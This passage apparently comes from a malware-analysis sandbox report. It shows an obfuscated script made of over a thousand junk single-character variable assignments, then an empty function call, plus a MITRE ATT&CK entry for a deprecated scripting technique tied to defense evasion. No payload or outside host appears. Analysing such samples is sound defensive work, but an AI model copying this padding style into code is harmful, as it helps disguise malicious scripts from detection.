172	xtyylehb = "J";
173	xtyylehb = "N";
174	xtyylehb = "a";
175	xtyylehb = "K";
176	xtyylehb = "H";
177	xtyylehb = "M";
178	xtyylehb = "s";
179	xtyylehb = "E";
180	xtyylehb = "R";
181	xtyylehb = "I";
182	xtyylehb = "J";
183	xtyylehb = "W";
184	xtyylehb = "o";
185	xtyylehb = "K";
186	xtyylehb = "e";
187	xtyylehb = "S";
188	xtyylehb = "v";
189	xtyylehb = "X";
190	xtyylehb = "O";
191	xtyylehb = "k";
192	xtyylehb = "z";
193	xtyylehb = "s";
194	xtyylehb = "m";
195	xtyylehb = "v";
196	xtyylehb = "u";
197	xtyylehb = "n";
198	xtyylehb = " ";
199	iofkp = "Z";
200	iofkp = "l";
201	iofkp = "g";
202	iofkp = "K";
203	iofkp = "J";
204	iofkp = "D";
205	iofkp = "u";
206	iofkp = "n";
207	iofkp = "B";
208	iofkp = "D";
209	iofkp = "p";
210	iofkp = "O";
211	iofkp = "x";
212	iofkp = "t";
213	iofkp = "U";
214	iofkp = "I";
215	iofkp = "n";
216	iofkp = "X";
217	iofkp = "f";
218	iofkp = "v";
219	iofkp = "g";
220	iofkp = "e";
221	iofkp = "k";
222	iofkp = "O";
223	iofkp = "w";
224	iofkp = "E";
225	iofkp = "f";
226	iofkp = "M";
227	iofkp = "y";
228	iofkp = "j";
229	iofkp = "E";
230	iofkp = "o";
231	iofkp = "j";
232	iofkp = "w";
233	kynagi = "L";
234	kynagi = "F";
235	kynagi = "V";
236	kynagi = "V";
237	kynagi = "L";
238	kynagi = "z";
239	kynagi = "W";
240	kynagi = "X";
241	kynagi = "f";
242	kynagi = "M";
243	kynagi = "P";
244	kynagi = "t";
245	kynagi = "H";
246	kynagi = "e";
247	kynagi = "W";
248	kynagi = "G";
249	kynagi = "f";
250	kynagi = "h";
251	kynagi = "w";
252	kynagi = "x";
253	kynagi = "T";
254	kynagi = "k";
255	kynagi = "L";
256	kynagi = "M";
257	kynagi = "w";
258	kynagi = "K";
259	kynagi = "v";
260	kynagi = "G";
261	kynagi = "c";
262	kynagi = "F";
263	kynagi = "Z";
264	kynagi = "Z";
265	kynagi = "i";
266	kynagi = "X";
267	kynagi = "b";
268	kynagi = "A";
269	kynagi = "M";
270	kynagi = "F";
271	kynagi = "z";
272	kynagi = "t";
273	etxzew = "l";
274	etxzew = "E";
275	etxzew = "j";
276	etxzew = "s";
277	etxzew = "W";
278	etxzew = "j";
279	etxzew = "O";
280	etxzew = "o";
281	etxzew = "k";
282	etxzew = "o";
283	etxzew = "x";
284	etxzew = "o";
285	etxzew = "e";
286	etxzew = "Y";
287	etxzew = "g";
288	lzygudom = "K";
289	lzygudom = "O";
290	lzygudom = "N";
291	lzygudom = "A";
292	lzygudom = "B";
293	lzygudom = "P";
294	lzygudom = "S";
295	lzygudom = "C";
296	lzygudom = "m";
297	lzygudom = "A";
298	lzygudom = "u";
299	lzygudom = "T";
300	lzygudom = "v";
301	lzygudom = "B";
302	lzygudom = "h";
303	lzygudom = "m";
304	lzygudom = "k";
305	lzygudom = "u";
306	lzygudom = "m";
307	lzygudom = "C";
308	lzygudom = "S";
309	lzygudom = "H";
310	lzygudom = "W";
311	lzygudom = "B";
312	lzygudom = "m";
313	lzygudom = "L";
314	lzygudom = "C";
315	lzygudom = "M";
316	lzygudom = "l";
317	lzygudom = "L";
318	lzygudom = "W";
319	lzygudom = "X";
320	lzygudom = "T";
321	lzygudom = "U";
322	lzygudom = "O";
323	lzygudom = "c";
324	lzygudom = "T";
325	lzygudom = "d";
326	lzygudom = "O";
327	mnmtrna = "j";
328	mnmtrna = "m";
329	mnmtrna = "a";
330	mnmtrna = "E";
331	mnmtrna = "p";
332	mnmtrna = "E";
333	mnmtrna = "Q";
334	mnmtrna = "L";
335	mnmtrna = "e";
336	mnmtrna = "l";
337	mnmtrna = "C";
338	mnmtrna = "J";
339	mnmtrna = "d";
340	mnmtrna = "o";
341	mnmtrna = "a";
342	mnmtrna = "r";
343	mnmtrna = "P";
344	mnmtrna = "V";
345	mnmtrna = "J";
346	mnmtrna = "Z";
347	mnmtrna = "N";
348	mnmtrna = "F";
349	mnmtrna = "w";
350	mnmtrna = "s";
351	vjkwdq = "j";
352	vjkwdq = "L";
353	vjkwdq = "b";
354	vjkwdq = "b";
355	vjkwdq = "L";
356	vjkwdq = "A";
357	vjkwdq = "v";
358	vjkwdq = "A";
359	vjkwdq = "S";
360	vjkwdq = "Y";
361	vjkwdq = "T";
362	vjkwdq = "X";
363	vjkwdq = "p";
364	vjkwdq = "q";
365	vjkwdq = "W";
366	vjkwdq = "K";
367	vjkwdq = "A";
368	vjkwdq = "g";
369	vjkwdq = "v";
370	vjkwdq = "d";
371	vjkwdq = "J";
372	vjkwdq = "V";
373	vjkwdq = "G";
374	vjkwdq = "x";
375	vjkwdq = "U";
376	vjkwdq = "A";
377	vjkwdq = "C";
378	vjkwdq = "L";
379	vjkwdq = "I";
380	vjkwdq = "y";
381	vjkwdq = "V";
382	vjkwdq = "x";
383	vjkwdq = "X";
384	vjkwdq = "J";
385	vjkwdq = "t";
386	vjkwdq = "O";
387	vjkwdq = "@";
388	zboibi = "w";
389	zboibi = "O";
390	zboibi = "I";
391	zboibi = "w";
392	zboibi = "G";
393	zboibi = "G";
394	zboibi = "t";
395	zboibi = "D";
396	zboibi = "R";
397	zboibi = "O";
398	zboibi = "j";
399	zboibi = "K";
400	zboibi = "f";
401	zboibi = "P";
402	zboibi = "I";
403	zboibi = "R";
404	zboibi = "w";
405	zboibi = "Y";
406	zboibi = "q";
407	zboibi = "G";
408	zboibi = "q";
409	zboibi = "8";
410	puwmvf = "U";
411	puwmvf = "S";
412	puwmvf = "a";
413	puwmvf = "i";
414	puwmvf = "m";
415	puwmvf = "p";
416	puwmvf = "w";
417	puwmvf = "H";
418	puwmvf = "L";
419	puwmvf = "u";
420	puwmvf = "O";
421	puwmvf = "Z";
422	puwmvf = "z";
423	puwmvf = "i";
424	puwmvf = "T";
425	puwmvf = "K";
426	puwmvf = "k";
427	puwmvf = "c";
428	puwmvf = "j";
429	puwmvf = "D";
430	puwmvf = "c";
431	puwmvf = "D";
432	puwmvf = "w";
433	puwmvf = "O";
434	puwmvf = "L";
435	puwmvf = "Q";
436	zgxechkm = "G";
437	zgxechkm = "V";
438	zgxechkm = "k";
439	zgxechkm = "r";
440	zgxechkm = "S";
441	zgxechkm = "X";
442	zgxechkm = ":";
443	lecimm = "n";
444	lecimm = "y";
445	lecimm = "h";
446	lecimm = "W";
447	lecimm = "Y";
448	lecimm = "M";
449	lecimm = "U";
450	lecimm = "M";
451	lecimm = "q";
452	lecimm = "W";
453	lecimm = "H";
454	lecimm = "t";
455	lecimm = "n";
456	lecimm = "S";
457	lecimm = "a";
458	lecimm = "S";
459	lecimm = "q";
460	lecimm = "P";
461	lecimm = "p";
462	lecimm = "u";
463	lecimm = "n";
464	lecimm = "x";
465	lecimm = "Z";
466	lecimm = "w";
467	lecimm = "k";
468	lecimm = "c";
469	lecimm = "O";
470	lecimm = "m";
471	lecimm = "Z";
472	lecimm = "Z";
473	lecimm = "C";
474	lecimm = "Q";
475	lecimm = "C";
476	lecimm = "m";
477	lecimm = "x";
478	lecimm = "y";
479	lecimm = "e";
480	lecimm = "O";
481	lecimm = "B";
482	lecimm = "J";
483	lecimm = "E";
484	lecimm = "Q";
485	lecimm = "r";
486	drdcb = "v";
487	drdcb = "G";
488	drdcb = "T";
489	drdcb = "G";
490	drdcb = "P";
491	drdcb = "R";
492	drdcb = "D";
493	drdcb = "P";
494	drdcb = "p";
495	drdcb = "W";
496	drdcb = "B";
497	drdcb = "k";
498	drdcb = "e";
499	drdcb = "V";
500	drdcb = "C";
501	drdcb = "Y";
502	drdcb = "b";
503	drdcb = "q";
504	drdcb = "k";
505	drdcb = "N";
506	drdcb = "G";
507	drdcb = "I";
508	drdcb = "R";
509	drdcb = "x";
510	drdcb = "S";
511	drdcb = "B";
512	drdcb = "S";
513	drdcb = "g";
514	drdcb = "r";
515	drdcb = "V";
516	drdcb = "&";
517	bivvmg = "x";
518	bivvmg = "k";
519	bivvmg = "p";
520	bivvmg = "T";
521	bivvmg = "x";
522	bivvmg = "v";
523	bivvmg = "K";
524	bivvmg = "f";
525	bivvmg = "O";
526	bivvmg = "Q";
527	bivvmg = "k";
528	bivvmg = "C";
529	bivvmg = "Q";
530	bivvmg = "d";
531	bivvmg = "5";
532	pvtlscep = "a";
533	pvtlscep = "X";
534	pvtlscep = "v";
535	pvtlscep = "m";
536	pvtlscep = "Q";
537	pvtlscep = "r";
538	pvtlscep = "q";
539	pvtlscep = "l";
540	pvtlscep = "n";
541	pvtlscep = "E";
542	pvtlscep = "I";
543	pvtlscep = "e";
544	pvtlscep = "F";
545	pvtlscep = "s";
546	pvtlscep = "Y";
547	pvtlscep = "Y";
548	pvtlscep = "H";
549	pvtlscep = "Y";
550	pvtlscep = "E";
551	pvtlscep = "Y";
552	pvtlscep = "l";
553	keuki = "B";
554	keuki = "s";
555	keuki = "B";
556	keuki = "b";
557	keuki = "B";
558	keuki = "B";
559	keuki = "S";
560	keuki = "v";
561	keuki = "E";
562	keuki = "L";
563	keuki = "m";
564	keuki = "Y";
565	keuki = "e";
566	jpezvsb = "w";
567	jpezvsb = "H";
568	jpezvsb = "g";
569	jpezvsb = "K";
570	jpezvsb = "L";
571	jpezvsb = "b";
572	jpezvsb = "P";
573	jpezvsb = "y";
574	jpezvsb = "e";
575	jpezvsb = "V";
576	jpezvsb = "A";
577	jpezvsb = "3";
578	xbcfzzjvq = "H";
579	xbcfzzjvq = "V";
580	xbcfzzjvq = "F";
581	xbcfzzjvq = "W";
582	xbcfzzjvq = "l";
583	xbcfzzjvq = "E";
584	xbcfzzjvq = "H";
585	xbcfzzjvq = "d";
586	xbcfzzjvq = "B";
587	xbcfzzjvq = "V";
588	xbcfzzjvq = "G";
589	xbcfzzjvq = "N";
590	xbcfzzjvq = "N";
591	xbcfzzjvq = "a";
592	fpsbzvd = "j";
593	fpsbzvd = "g";
594	fpsbzvd = "f";
595	fpsbzvd = "V";
596	fpsbzvd = "A";
597	fpsbzvd = "C";
598	fpsbzvd = "O";
599	fpsbzvd = "Z";
600	fpsbzvd = "U";
601	fpsbzvd = "G";
602	fpsbzvd = "q";
603	fpsbzvd = "u";
604	fpsbzvd = "Q";
605	fpsbzvd = "u";
606	fpsbzvd = "r";
607	fpsbzvd = "Y";
608	fpsbzvd = "J";
609	fpsbzvd = "v";
610	fpsbzvd = "L";
611	fpsbzvd = "i";
612	fpsbzvd = "\"";
613	rxisx = "i";
614	rxisx = "f";
615	rxisx = "q";
616	rxisx = "i";
617	rxisx = "T";
618	rxisx = "V";
619	rxisx = "A";
620	rxisx = "Z";
621	rxisx = "M";
622	rxisx = "D";
623	rxisx = "N";
624	uhxnofubp = "p";
625	uhxnofubp = "e";
626	uhxnofubp = "K";
627	uhxnofubp = "b";
628	uhxnofubp = "T";
629	uhxnofubp = "y";
630	uhxnofubp = "F";
631	uhxnofubp = "d";
632	uhxnofubp = "k";
633	uhxnofubp = "r";
634	uhxnofubp = "M";
635	uhxnofubp = "v";
636	uhxnofubp = "Y";
637	uhxnofubp = "l";
638	uhxnofubp = "X";
639	uhxnofubp = "W";
640	uhxnofubp = "U";
641	uhxnofubp = "C";
642	uhxnofubp = "G";
643	uhxnofubp = "r";
644	uhxnofubp = "U";
645	uhxnofubp = "b";
646	uhxnofubp = "U";
647	uhxnofubp = "0";
648	ojgjbn = "I";
649	ojgjbn = "T";
650	ojgjbn = "v";
651	ojgjbn = "s";
652	ojgjbn = "e";
653	ojgjbn = "v";
654	ojgjbn = "i";
655	ojgjbn = "1";
656	dbztatvv = "U";
657	dbztatvv = "d";
658	dbztatvv = "H";
659	dbztatvv = "b";
660	dbztatvv = "S";
661	dbztatvv = "r";
662	dbztatvv = "z";
663	dbztatvv = "N";
664	dbztatvv = "r";
665	dbztatvv = "a";
666	dbztatvv = "U";
667	dbztatvv = "p";
668	dbztatvv = "y";
669	dbztatvv = "q";
670	dbztatvv = "F";
671	dbztatvv = "Z";
672	dbztatvv = "K";
673	dbztatvv = "I";
674	dbztatvv = "d";
675	dbztatvv = "j";
676	dbztatvv = "C";
677	dbztatvv = "E";
678	dbztatvv = "c";
679	dbztatvv = "X";
680	dbztatvv = "u";
681	dbztatvv = "L";
682	dbztatvv = "2";
683	tslxwrny = "j";
684	tslxwrny = "b";
685	tslxwrny = "Q";
686	tslxwrny = "B";
687	tslxwrny = "%";
688	rupdx = "K";
689	rupdx = "k";
690	rupdx = "p";
691	rupdx = "u";
692	rupdx = "A";
693	rupdx = "q";
694	rupdx = "u";
695	rupdx = "i";
696	rupdx = "R";
697	rupdx = "f";
698	rupdx = "R";
699	rupdx = "o";
700	rupdx = "T";
701	rupdx = "X";
702	rupdx = "j";
703	rupdx = "K";
704	rupdx = "O";
705	rupdx = "O";
706	rupdx = "u";
707	rupdx = "a";
708	rupdx = "F";
709	rupdx = "L";
710	rupdx = "E";
711	rupdx = "S";
712	rupdx = "f";
713	rupdx = "U";
714	rupdx = "l";
715	rupdx = "n";
716	rupdx = "k";
717	rupdx = "s";
718	rupdx = "C";
719	rupdx = "w";
720	rupdx = "Q";
721	rupdx = "T";
722	rupdx = "e";
723	rupdx = "c";
724	rupdx = "r";
725	rupdx = "m";
726	rupdx = "b";
727	rupdx = "p";
728	rupdx = "n";
729	txyht = "h";
730	txyht = "p";
731	txyht = "Q";
732	txyht = "K";
733	txyht = "y";
734	txyht = "H";
735	txyht = "t";
736	txyht = "t";
737	txyht = "b";
738	txyht = "i";
739	txyht = "V";
740	txyht = "W";
741	txyht = "d";
742	txyht = "W";
743	txyht = "W";
744	txyht = "u";
745	txyht = "b";
746	txyht = "k";
747	kgbsibooz = "S";
748	kgbsibooz = "j";
749	kgbsibooz = "o";
750	kgbsibooz = "u";
751	kgbsibooz = "o";
752	kgbsibooz = "t";
753	kgbsibooz = "r";
754	kgbsibooz = "g";
755	kgbsibooz = "y";
756	kgbsibooz = "A";
757	kgbsibooz = "A";
758	kgbsibooz = "Q";
759	kgbsibooz = "g";
760	kgbsibooz = "H";
761	kgbsibooz = "j";
762	kgbsibooz = "Y";
763	kgbsibooz = "W";
764	kgbsibooz = "F";
765	kgbsibooz = "e";
766	kgbsibooz = "L";
767	kgbsibooz = "o";
768	hoovi = "M";
769	hoovi = "r";
770	hoovi = "J";
771	hoovi = "v";
772	hoovi = "C";
773	hoovi = "Z";
774	hoovi = "h";
775	hoovi = "G";
776	hoovi = "K";
777	hoovi = "E";
778	hoovi = "f";
779	hoovi = "j";
780	hoovi = "Z";
781	hoovi = "x";
782	hoovi = "J";
783	hoovi = "m";
784	hoovi = "M";
785	hoovi = "O";
786	hoovi = "k";
787	hoovi = "R";
788	hoovi = "h";
789	hoovi = "g";
790	hoovi = "j";
791	hoovi = "F";
792	hoovi = "H";
793	hoovi = "e";
794	hoovi = "f";
795	hoovi = "u";
796	hoovi = "K";
797	hoovi = "v";
798	hoovi = "s";
799	hoovi = "R";
800	hoovi = "t";
801	hoovi = "v";
802	hoovi = "y";
803	hoovi = "C";
804	hoovi = "k";
805	hoovi = "v";
806	wtbwlpnqt = "z";
807	wtbwlpnqt = "m";
808	wtbwlpnqt = "e";
809	wtbwlpnqt = "c";
810	wtbwlpnqt = "T";
811	wtbwlpnqt = "E";
812	wtbwlpnqt = "K";
813	wtbwlpnqt = "x";
814	wtbwlpnqt = "f";
815	wtbwlpnqt = "X";
816	wtbwlpnqt = "I";
817	wtbwlpnqt = "K";
818	wtbwlpnqt = "i";
819	wtbwlpnqt = "N";
820	wtbwlpnqt = "d";
821	wtbwlpnqt = "G";
822	wtbwlpnqt = "n";
823	wtbwlpnqt = "t";
824	wtbwlpnqt = "U";
825	wtbwlpnqt = "X";
826	wtbwlpnqt = "K";
827	wtbwlpnqt = "T";
828	wtbwlpnqt = "n";
829	wtbwlpnqt = "D";
830	wtbwlpnqt = "L";
831	wtbwlpnqt = "P";
832	wtbwlpnqt = "e";
833	wtbwlpnqt = "v";
834	wtbwlpnqt = "Z";
835	wtbwlpnqt = "g";
836	wtbwlpnqt = "k";
837	wtbwlpnqt = "X";
838	wtbwlpnqt = "Y";
839	tpmmgvs = "e";
840	tpmmgvs = "p";
841	tpmmgvs = "H";
842	tpmmgvs = "y";
843	tpmmgvs = "e";
844	tpmmgvs = "h";
845	tpmmgvs = "J";
846	tpmmgvs = "o";
847	tpmmgvs = "P";
848	tpmmgvs = "p";
849	tpmmgvs = "P";
850	tpmmgvs = "O";
851	tpmmgvs = "h";
852	tpmmgvs = "I";
853	tpmmgvs = "c";
854	tpmmgvs = "c";
855	tpmmgvs = "p";
856	tpmmgvs = "Z";
857	tpmmgvs = "r";
858	tpmmgvs = "U";
859	tpmmgvs = "X";
860	tpmmgvs = "L";
861	tpmmgvs = "F";
862	tpmmgvs = "P";
863	tpmmgvs = "t";
864	tpmmgvs = "s";
865	tpmmgvs = "x";
866	tpmmgvs = "E";
867	tpmmgvs = "L";
868	tpmmgvs = "r";
869	tpmmgvs = "z";
870	tpmmgvs = "z";
871	tpmmgvs = "b";
872	tpmmgvs = "T";
873	tpmmgvs = "J";
874	tpmmgvs = "v";
875	tpmmgvs = "Z";
876	tpmmgvs = "F";
877	tpmmgvs = "b";
878	tpmmgvs = "K";
879	tpmmgvs = "u";
880	tpmmgvs = "L";
881	tpmmgvs = "Y";
882	tpmmgvs = ".";
883	euqlkjhgy = "Y";
884	euqlkjhgy = "X";
885	euqlkjhgy = "l";
886	euqlkjhgy = "w";
887	euqlkjhgy = "T";
888	euqlkjhgy = "a";
889	euqlkjhgy = "b";
890	euqlkjhgy = "i";
891	euqlkjhgy = "j";
892	euqlkjhgy = "C";
893	euqlkjhgy = "G";
894	euqlkjhgy = "y";
895	euqlkjhgy = "O";
896	euqlkjhgy = "w";
897	euqlkjhgy = "a";
898	euqlkjhgy = "D";
899	euqlkjhgy = "N";
900	euqlkjhgy = "j";
901	euqlkjhgy = "c";
902	euqlkjhgy = "r";
903	euqlkjhgy = "k";
904	euqlkjhgy = "a";
905	euqlkjhgy = "U";
906	euqlkjhgy = "e";
907	euqlkjhgy = "d";
908	euqlkjhgy = "v";
909	euqlkjhgy = "p";
910	euqlkjhgy = "9";
911	gfomes = "c";
912	gfomes = "f";
913	gfomes = "y";
914	gfomes = "q";
915	gfomes = "U";
916	gfomes = "h";
917	gfomes = "c";
918	gfomes = "N";
919	gfomes = "d";
920	gfomes = "d";
921	gfomes = "c";
922	gfomes = "b";
923	gfomes = "i";
924	gfomes = "w";
925	gfomes = "P";
926	gfomes = "r";
927	gfomes = "z";
928	gfomes = "v";
929	gfomes = "l";
930	gfomes = "v";
931	gfomes = "S";
932	psjgym = "P";
933	psjgym = "I";
934	psjgym = "E";
935	psjgym = "U";
936	psjgym = "I";
937	psjgym = "g";
938	psjgym = "p";
939	psjgym = "a";
940	psjgym = "s";
941	psjgym = "Z";
942	psjgym = "r";
943	psjgym = "G";
944	psjgym = "Z";
945	psjgym = "u";
946	psjgym = "w";
947	psjgym = "I";
948	psjgym = "Z";
949	psjgym = "s";
950	psjgym = "m";
951	psjgym = "V";
952	psjgym = "c";
953	psjgym = "F";
954	psjgym = "i";
955	qkhqhdtf = "T";
956	qkhqhdtf = "V";
957	qkhqhdtf = "g";
958	qkhqhdtf = "B";
959	qkhqhdtf = "Q";
960	qkhqhdtf = "z";
961	qkhqhdtf = "K";
962	xopwtfu = "d";
963	xopwtfu = "q";
964	vujcml = "r";
965	vujcml = "h";
966	vujcml = "i";
967	vujcml = "Q";
968	vujcml = "f";
969	vujcml = "q";
970	vujcml = "U";
971	vujcml = "K";
972	vujcml = "l";
973	vujcml = "M";
974	vujcml = "Y";
975	vujcml = "M";
976	vujcml = "J";
977	vujcml = "b";
978	vujcml = "T";
979	lhsqveywv = "v";
980	lhsqveywv = "v";
981	lhsqveywv = "F";
982	lhsqveywv = "G";
983	lhsqveywv = "t";
984	lhsqveywv = "G";
985	lhsqveywv = "l";
986	lhsqveywv = "a";
987	lhsqveywv = "G";
988	lhsqveywv = "C";
989	lhsqveywv = "B";
990	lhsqveywv = "c";
991	lhsqveywv = "q";
992	lhsqveywv = "e";
993	lhsqveywv = "i";
994	lhsqveywv = "Y";
995	lhsqveywv = "J";
996	lhsqveywv = "c";
997	lhsqveywv = "l";
998	lhsqveywv = "Y";
999	lhsqveywv = "E";
1000	lhsqveywv = "Q";
1001	lhsqveywv = "b";
1002	lhsqveywv = "c";
1003	lhsqveywv = "a";
1004	lhsqveywv = "A";
1005	lhsqveywv = "l";
1006	lhsqveywv = "k";
1007	lhsqveywv = "Y";
1008	lhsqveywv = "q";
1009	lhsqveywv = "Z";
1010	lhsqveywv = "E";
1011	psfpkasd = "q";
1012	psfpkasd = "t";
1013	psfpkasd = "N";
1014	psfpkasd = "K";
1015	psfpkasd = "y";
1016	psfpkasd = "F";
1017	psfpkasd = "E";
1018	psfpkasd = "y";
1019	psfpkasd = "N";
1020	psfpkasd = "R";
1021	psfpkasd = "l";
1022	psfpkasd = "Z";
1023	psfpkasd = "Q";
1024	psfpkasd = "P";
1025	psfpkasd = "B";
1026	psfpkasd = "k";
1027	psfpkasd = "C";
1028	psfpkasd = "z";
1029	psfpkasd = "f";
1030	psfpkasd = "R";
1031	psfpkasd = "r";
1032	psfpkasd = "Q";
1033	psfpkasd = "P";
1034	psfpkasd = "i";
1035	psfpkasd = "C";
1036	vzwyblo = "r";
1037	vzwyblo = "T";
1038	vzwyblo = "Z";
1039	vzwyblo = "h";
1040	vzwyblo = "h";
1041	vzwyblo = "Z";
1042	vzwyblo = "q";
1043	vzwyblo = "C";
1044	vzwyblo = "z";
1045	vzwyblo = "C";
1046	vzwyblo = "p";
1047	vzwyblo = "n";
1048	vzwyblo = "e";
1049	vzwyblo = "J";
1050	vzwyblo = "Z";
1051	vzwyblo = "P";
1052	mjgqbi = "L";
1053	nknwvvgw = "M";
1054	nknwvvgw = "k";
1055	nknwvvgw = "O";
1056	nknwvvgw = "P";
1057	nknwvvgw = "I";
1058	nknwvvgw = "G";
1059	nknwvvgw = "M";
1060	nknwvvgw = "B";
1061	nknwvvgw = "R";
1062	nknwvvgw = "y";
1063	nknwvvgw = "x";
1064	nknwvvgw = "O";
1065	nknwvvgw = "h";
1066	nknwvvgw = "N";
1067	nknwvvgw = "H";
1068	nknwvvgw = "e";
1069	nknwvvgw = "o";
1070	nknwvvgw = "J";
1071	nknwvvgw = "g";
1072	nknwvvgw = "R";
1073	nknwvvgw = "S";
1074	nknwvvgw = "\\";
1075	yyqcv = "i";
1076	yyqcv = "E";
1077	yyqcv = "P";
1078	yyqcv = "I";
1079	yyqcv = "T";
1080	yyqcv = "j";
1081	yyqcv = "h";
1082	yyqcv = "c";
1083	yyqcv = "n";
1084	yyqcv = "R";
1085	yyqcv = "A";
1086	yyqcv = "z";
1087	yyqcv = "g";
1088	yyqcv = "z";
1089	yyqcv = "I";
1090	hagxil = "S";
1091	hagxil = "E";
1092	hagxil = "E";
1093	hagxil = "y";
1094	hagxil = "S";
1095	hagxil = "u";
1096	vnjhf = "n";
1097	vnjhf = "E";
1098	vnjhf = "y";
1099	vnjhf = "t";
1100	vnjhf = "g";
1101	vnjhf = "Q";
1102	vnjhf = "s";
1103	vnjhf = "t";
1104	vnjhf = "J";
1105	vnjhf = "s";
1106	vnjhf = "u";
1107	vnjhf = "k";
1108	vnjhf = "a";
1109	vnjhf = "P";
1110	vnjhf = "X";
1111	vnjhf = "E";
1112	vnjhf = "b";
1113	vnjhf = "j";
1114	ulhgyx = "z";
1115	ulhgyx = "p";
1116	ulhgyx = "U";
1117	ulhgyx = "H";
1118	ulhgyx = "V";
1119	ulhgyx = "x";
1120	ulhgyx = "g";
1121	ulhgyx = "i";
1122	ulhgyx = "i";
1123	ulhgyx = "p";
1124	ulhgyx = "u";
1125	ulhgyx = "W";
1126	ulhgyx = "G";
1127	ulhgyx = "G";
1128	ulhgyx = "r";
1129	ulhgyx = "x";
1130	ulhgyx = "z";
1131	ulhgyx = "i";
1132	ulhgyx = "k";
1133	ulhgyx = "K";
1134	ulhgyx = "t";
1135	ulhgyx = "k";
1136	ulhgyx = "e";
1137	ulhgyx = "Z";
1138	ulhgyx = "F";
1139	ulhgyx = "H";
1140	ulhgyx = "R";
1141	ulhgyx = "i";
1142	ulhgyx = "R";
1143	ulhgyx = "o";
1144	ulhgyx = "b";
1145	ulhgyx = "E";
1146	ulhgyx = "j";
1147	ulhgyx = "z";
1148	ulhgyx = "f";
1149	rurqtxbm = "N";
1150	rurqtxbm = "E";
1151	rurqtxbm = "N";
1152	rurqtxbm = "f";
1153	rurqtxbm = "s";
1154	rurqtxbm = "Z";
1155	rurqtxbm = "S";
1156	rurqtxbm = "k";
1157	rurqtxbm = "U";
1158	rurqtxbm = "D";
1159	rurqtxbm = "M";
1160	rurqtxbm = "u";
1161	rurqtxbm = "R";
1162	rurqtxbm = "n";
1163	rurqtxbm = "c";
1164	rurqtxbm = "p";
1165	rurqtxbm = "B";
1166	rurqtxbm = "Y";
1167	rurqtxbm = "b";
1168	rurqtxbm = "L";
1169	rurqtxbm = "u";
1170	rurqtxbm = "N";
1171	rurqtxbm = "j";
1172	rurqtxbm = "F";
1173	cevfpdrzd = "g";
1174	cevfpdrzd = "m";
1175	cevfpdrzd = "d";
1176	cevfpdrzd = "h";
1177	cevfpdrzd = "g";
1178	cevfpdrzd = "x";
1179	cevfpdrzd = "v";
1180	cevfpdrzd = "A";
1181	cevfpdrzd = "a";
1182	cevfpdrzd = "Y";
1183	cevfpdrzd = "g";
1184	cevfpdrzd = "b";
1185	cevfpdrzd = "m";
1186	cevfpdrzd = "J";
1187	cevfpdrzd = "p";
1188	cevfpdrzd = "R";
1189	cevfpdrzd = "N";
1190	cevfpdrzd = "r";
1191	cevfpdrzd = "e";
1192	cevfpdrzd = "C";
1193	cevfpdrzd = "E";
1194	cevfpdrzd = "J";
1195	cevfpdrzd = "M";
1196	cevfpdrzd = "Q";
1197	cevfpdrzd = "t";
1198	cevfpdrzd = "M";
1199	cevfpdrzd = "W";
1200	cevfpdrzd = "G";
1201	cevfpdrzd = "I";
1202	cevfpdrzd = "c";
1203	zgapte = "A";
1204	zgapte = "D";
1205	zgapte = "H";
1206	zgapte = "P";
1207	zgapte = "o";
1208	zgapte = "p";
1209	zgapte = "W";
1210	zgapte = "g";
1211	zgapte = "m";
1212	zgapte = "q";
1213	zgapte = "q";
1214	zgapte = "q";
1215	zgapte = "X";
1216	zgapte = "H";
1217	zgapte = "T";
1218	zgapte = "C";
1219	zgapte = "p";
1220	zgapte = "C";
1221	zgapte = "w";
1222	zgapte = "N";
1223	zgapte = "a";
1224	zgapte = "q";
1225	zgapte = "w";
1226	zgapte = "X";
1227	zgapte = "b";
1228	zgapte = "O";
1229	zgapte = "p";
1230	zgapte = "_";
1231	mvzvdkqr = "u";
1232	mvzvdkqr = "H";
1233	mvzvdkqr = "y";
1234	mvzvdkqr = "O";
1235	mvzvdkqr = "j";
1236	mvzvdkqr = "q";
1237	mvzvdkqr = "z";
1238	mvzvdkqr = "n";
1239	mvzvdkqr = "f";
1240	mvzvdkqr = "n";
1241	mvzvdkqr = "C";
1242	mvzvdkqr = "p";
1243	mvzvdkqr = "h";
1244	mvzvdkqr = "H";
1245	mvzvdkqr = "y";
1246	mvzvdkqr = "Z";
1247	mvzvdkqr = "h";
1248	dqivka = "W";
1249	yctmtv = "W";
1250	yctmtv = "c";
1251	yctmtv = "k";
1252	yctmtv = "a";
1253	yctmtv = "U";
1254	yctmtv = "w";
1255	yctmtv = "K";
1256	yctmtv = "p";
1257	wjfos = "p";
1258	wjfos = "Q";
1259	wjfos = "H";
1260	wjfos = "F";
1261	wjfos = "d";
1262	wjfos = "S";
1263	wjfos = "B";
1264	wjfos = "D";
1265	wjfos = "e";
1266	wjfos = "t";
1267	wjfos = "G";
1268	wjfos = "Y";
1269	wjfos = "E";
1270	wjfos = "y";
1271	wjfos = "D";
1272	wjfos = "O";
1273	wjfos = "a";
1274	wjfos = "x";
1275	wjfos = "g";
1276	wjfos = "S";
1277	wjfos = "m";
1278	wjfos = "X";
1279	wjfos = "H";
1280	wjfos = "B";
1281	wjfos = "w";
1282	wjfos = "J";
1283	wjfos = "v";
1284	wjfos = "e";
1285	wjfos = "C";
1286	wjfos = "Y";
1287	wjfos = "v";
1288	wjfos = "T";
1289	wjfos = "g";
1290	wjfos = "7";
1291	smwcmpf = "r";
1292	smwcmpf = "X";
1293	smwcmpf = "T";
1294	smwcmpf = "o";
1295	smwcmpf = "K";
1296	smwcmpf = "H";
1297	wlbzvcitx = "C";
1298	wlbzvcitx = "F";
1299	wlbzvcitx = "u";
1300	wlbzvcitx = "u";
1301	wlbzvcitx = "C";
1302	wlbzvcitx = "c";
1303	wlbzvcitx = "N";
1304	wlbzvcitx = "i";
1305	wlbzvcitx = "H";
1306	wlbzvcitx = "H";
1307	wlbzvcitx = "I";
1308	wlbzvcitx = "N";
1309	wlbzvcitx = "s";
1310	wlbzvcitx = "j";
1311	wlbzvcitx = "N";
1312	wlbzvcitx = "z";
1313	wlbzvcitx = "x";
1314	wuisdg ( );	wuisdg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

